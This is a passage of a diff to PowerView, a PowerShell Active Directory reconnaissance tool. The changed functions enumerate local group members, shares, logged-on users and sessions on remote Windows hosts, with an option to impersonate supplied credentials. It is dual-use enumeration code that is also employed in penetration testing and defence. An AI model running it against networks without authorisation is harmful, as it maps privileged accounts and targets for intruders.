$LOCALGROUP_INFO_1 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $LocalGroup = New-Object PSObject + $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer + $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name + $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment + $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') + $LocalGroup } - $Policy + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + $ComputerProvider = New-Object DirectoryServices.DirectoryEntry("WinNT://$Computer,computer", $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $ComputerProvider = [ADSI]"WinNT://$Computer,computer" + } + + $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $LocalGroup = ([ADSI]$_) + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'ComputerName' $Computer + $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) + $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) + $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') + $Group } - else { $_ } } } } } - -######################################################## -# -# Functions that enumerate a single host, either through -# WinNT, WMI, remote registry, or API calls -# (with PSReflect). -# -######################################################## - -function Get-NetLocalGroup { +function Get-NetLocalGroupMember { <# - .SYNOPSIS +.SYNOPSIS + +Eunmerates members of a specific local group on the local (or remote) machine. - Gets a list of all current users in a specified local group, - or returns the names of all local groups with -ListGroups. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName - .PARAMETER ComputerName +.DESCRIPTION - The hostname or IP to query for local group users. +This function will enumerate the members of a specified local group on the +current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. - .PARAMETER ComputerFile +.PARAMETER ComputerName - File of hostnames/IPs to query for local group users. +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. - .PARAMETER GroupName +.PARAMETER GroupName - The local group name to query for users. If not given, it defaults to "Administrators" +The local group name to query for users. If not given, it defaults to "Administrators". - .PARAMETER ListGroups +.PARAMETER Method - Switch. List all the local groups instead of their members. - Old Get-NetLocalGroups functionality. +The collection method to use, defaults to 'API', also accepts 'WinNT'. - .PARAMETER Recurse +.PARAMETER Credential - Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". - .PARAMETER API +.EXAMPLE - Switch. Use API calls instead of the WinNT service provider. Less information, - but the results are faster. +Get-NetLocalGroupMember | ft - .EXAMPLE +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True - PS C:\> Get-NetLocalGroup +.EXAMPLE - Returns the usernames that of members of localgroup "Administrators" on the local host. +Get-NetLocalGroupMember -Method winnt | ft - .EXAMPLE +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True - PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP +.EXAMPLE - Returns all the local administrator accounts for WINDOWSXP +Get-NetLocalGroup | Get-NetLocalGroupMember | ft - .EXAMPLE +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse +.EXAMPLE - Returns all effective local/domain users/groups that can access WINDOWS7 with - local administrative privileges. +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft - .EXAMPLE +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False +primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups +.OUTPUTS - Returns all local groups on the WINDOWS7 host. +PowerView.LocalGroupMember.API - .EXAMPLE +Custom PSObject with translated group property fields from API results. - PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API +PowerView.LocalGroupMember.WinNT - Returns all local groups on the the passed hosts using API calls instead of the - WinNT service provider. +Custom PSObject with translated group property fields from WinNT results. - .LINK +.LINK - http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together - http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx #> - [CmdletBinding(DefaultParameterSetName = 'WinNT')] - param( - [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] - [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] - [Alias('HostName')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] [String[]] - $ComputerName = $Env:ComputerName, + $ComputerName = $Env:COMPUTERNAME, - [Parameter(ParameterSetName = 'WinNT')] - [Parameter(ParameterSetName = 'API')] - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [Parameter(ParameterSetName = 'WinNT')] - [Parameter(ParameterSetName = 'API')] + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] [String] $GroupName = 'Administrators', - [Parameter(ParameterSetName = 'WinNT')] - [Switch] - $ListGroups, - - [Parameter(ParameterSetName = 'WinNT')] - [Switch] - $Recurse, + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', - [Parameter(ParameterSetName = 'API')] - [Switch] - $API + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - process { - - $Servers = @() - - # if we have a host list passed, grab it - if($ComputerFile) { - $Servers = Get-Content -Path $ComputerFile + BEGIN { + if ($PSBoundParameters['Credential'] -and ($Method -eq 'WinNT')) { + Write-Warning "[Get-NetLocalGroupMember] -Credential is only compatible with '-Method WinNT'" } - else { - # otherwise assume a single host name - $Servers += $ComputerName | Get-NameField - } - - # query the specified group using the WINNT provider, and - # extract fields as appropriate from the results - ForEach($Server in $Servers) { + } - if($API) { + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information + # arguments for NetLocalGroupGetMembers $QueryLevel = 2 $PtrInfo = [IntPtr]::Zero @@ -7748,12 +11953,12 @@ function Get-NetLocalGroup { $ResumeHandle = 0 # get the local user information - $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # Locate the offset of the initial intPtr + # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - $LocalUsers = @() + $Members = @() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -7770,23 +11975,22 @@ function Get-NetLocalGroup { $Offset = $NewIntPtr.ToInt64() $Offset += $Increment - $SidString = "" + $SidString = '' $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if($Result2 -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { - $LocalUser = New-Object PSObject - $LocalUser | Add-Member Noteproperty 'ComputerName' $Server - $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname - $LocalUser | Add-Member Noteproperty 'SID' $SidString - + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $Member | Add-Member Noteproperty 'SID' $SidString $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') - $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI') - - $LocalUsers += $LocalUser + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') + $Members += $Member } } @@ -7794,1450 +11998,1905 @@ function Get-NetLocalGroup { $Null = $Netapi32::NetApiBufferFree($PtrInfo) # try to extract out the machine SID by using the -500 account as a reference - $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} - $Parts = $MachineSid.SID.Split('-') - $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' + $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID + if ($MachineSid) { + $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) - $LocalUsers | ForEach-Object { - if($_.SID -match $MachineSid) { - $_ | Add-Member Noteproperty 'IsDomain' $False + $Members | ForEach-Object { + if ($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' $True + } } - else { - $_ | Add-Member Noteproperty 'IsDomain' $True + } + else { + $Members | ForEach-Object { + if ($_.SID -notmatch 'S-1-5-21') { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' + } } } - $LocalUsers + $Members } else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + try { + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + $GroupProvider = New-Object DirectoryServices.DirectoryEntry("WinNT://$Computer/$GroupName,group", $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" + } + + $GroupProvider.psbase.Invoke('Members') | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + + $LocalUser = ([ADSI]$_) + $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') + $IsGroup = ($LocalUser.SchemaClassName -like 'group') + + if(([regex]::Matches($AdsPath, '/')).count -eq 1) { + # DOMAIN\user + $MemberIsDomain = $True + $Name = $AdsPath.Replace('/', '\') + } + else { + # DOMAIN\machine\user + $MemberIsDomain = $False + $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain + + # if ($MemberIsDomain) { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # try { + # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # } + # else { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + # # UAC flags of 0x2 mean the account is disabled + # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) + # try { + # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # } + + $Member + } + } + catch { + Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" + } + } + } + } +} + + +function Get-NetShare { +<# +.SYNOPSIS + +Returns open shares on the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. This is a replacement for "net share \\hostname". + +.PARAMETER ComputerName + +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetShare + +Returns active shares on the local host. + +.EXAMPLE + +Get-NetShare -ComputerName sqlserver + +Returns active shares on the 'sqlserver' host + +.EXAMPLE + +Get-DomainComputer | Get-NetShare + +Returns all shares for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetShare -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.ShareInfo + +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.ShareInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the raw share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $Share = $Info | Select-Object * + $Share | Add-Member Noteproperty 'ComputerName' $Computer + $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Share } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLoggedon { +<# +.SYNOPSIS + +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. + +.PARAMETER ComputerName + +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetLoggedon + +Returns users actively logged onto the local host. + +.EXAMPLE - else { - # otherwise we're using the WinNT service provider - try { - if($ListGroups) { - # if we're listing the group names on a remote server - $Computer = [ADSI]"WinNT://$Server,computer" - - $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { - $Group = New-Object PSObject - $Group | Add-Member Noteproperty 'Server' $Server - $Group | Add-Member Noteproperty 'Group' ($_.name[0]) - $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) - $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) - $Group.PSObject.TypeNames.Add('PowerView.LocalGroup') - $Group - } - } - else { - # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) +Get-NetLoggedon -ComputerName sqlserver - $Members | ForEach-Object { +Returns users actively logged onto the 'sqlserver' host. - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' $Server +.EXAMPLE - $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') - $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) +Get-DomainComputer | Get-NetLoggedon - # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' - $IsGroup = $Class -eq "Group" +Returns all logged on users for all computers in the domain. - if($Name) { - $FQDN = $Name.split("/")[0] - $ObjName = $AdsPath.split("/")[-1] - $Name = "$FQDN/$ObjName" - $IsDomain = $True - } - else { - $ObjName = $AdsPath.split("/")[-1] - $Name = $AdsPath - $IsDomain = $False - } +.EXAMPLE - $Member | Add-Member Noteproperty 'AccountName' $Name - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred - if($IsDomain) { - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - $Member | Add-Member Noteproperty 'Description' "" - $Member | Add-Member Noteproperty 'Disabled' "" +.OUTPUTS - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - } - $Member | Add-Member Noteproperty 'PwdLastSet' "" - $Member | Add-Member Noteproperty 'PwdExpired' "" - $Member | Add-Member Noteproperty 'UserFlags' "" - } - else { - # repull this user object so we can ensure correct information - $LocalUser = $([ADSI] "WinNT://$AdsPath") - - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) - $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) - - if($IsGroup) { - $Member | Add-Member Noteproperty 'PwdLastSet' "" - $Member | Add-Member Noteproperty 'PwdExpired' "" - $Member | Add-Member Noteproperty 'UserFlags' "" - $Member | Add-Member Noteproperty 'Disabled' "" - $Member | Add-Member Noteproperty 'LastLogin' "" - } - else { - $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) - $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') - $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) - # UAC flags of 0x2 mean the account is disabled - $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - } - } - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member - - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results - if($Recurse -and $IsGroup) { - if($IsDomain) { - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() - - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" - - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - try { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } - catch { - Write-Debug "Error resolving SID : $_" - } - } - - $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Description' $_.description - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet - $Member | Add-Member Noteproperty 'PwdExpired' '' - $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member - } - } else { - Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse - } - } - } - } - } - catch { - Write-Warning "[!] Error: $_" +PowerView.LoggedOnUserInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.LoggedOnUserInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } } -filter Get-NetShare { + +function Get-NetSession { <# - .SYNOPSIS +.SYNOPSIS - This function will execute the NetShareEnum Win32API call to query - a given host for open shares. This is a replacement for - "net share \\hostname" +Returns session information for the local (or a remote) machine. - .PARAMETER ComputerName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf - The hostname to query for shares. Also accepts IP addresses. +.DESCRIPTION - .OUTPUTS +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. - SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share, - with the ComputerName added. +.PARAMETER ComputerName - .EXAMPLE +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. - PS C:\> Get-NetShare +.PARAMETER Credential - Returns active shares on the local host. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetShare -ComputerName sqlserver +Get-NetSession - Returns active shares on the 'sqlserver' host +Returns active sessions on the local host. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetComputer | Get-NetShare +Get-NetSession -ComputerName sqlserver - Returns all shares for all computers in the domain. +Returns active sessions on the 'sqlserver' host. - .LINK +.EXAMPLE - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> +Get-DomainController | Get-NetSession - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) +Returns active sessions on all domain controllers. + +.EXAMPLE - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName 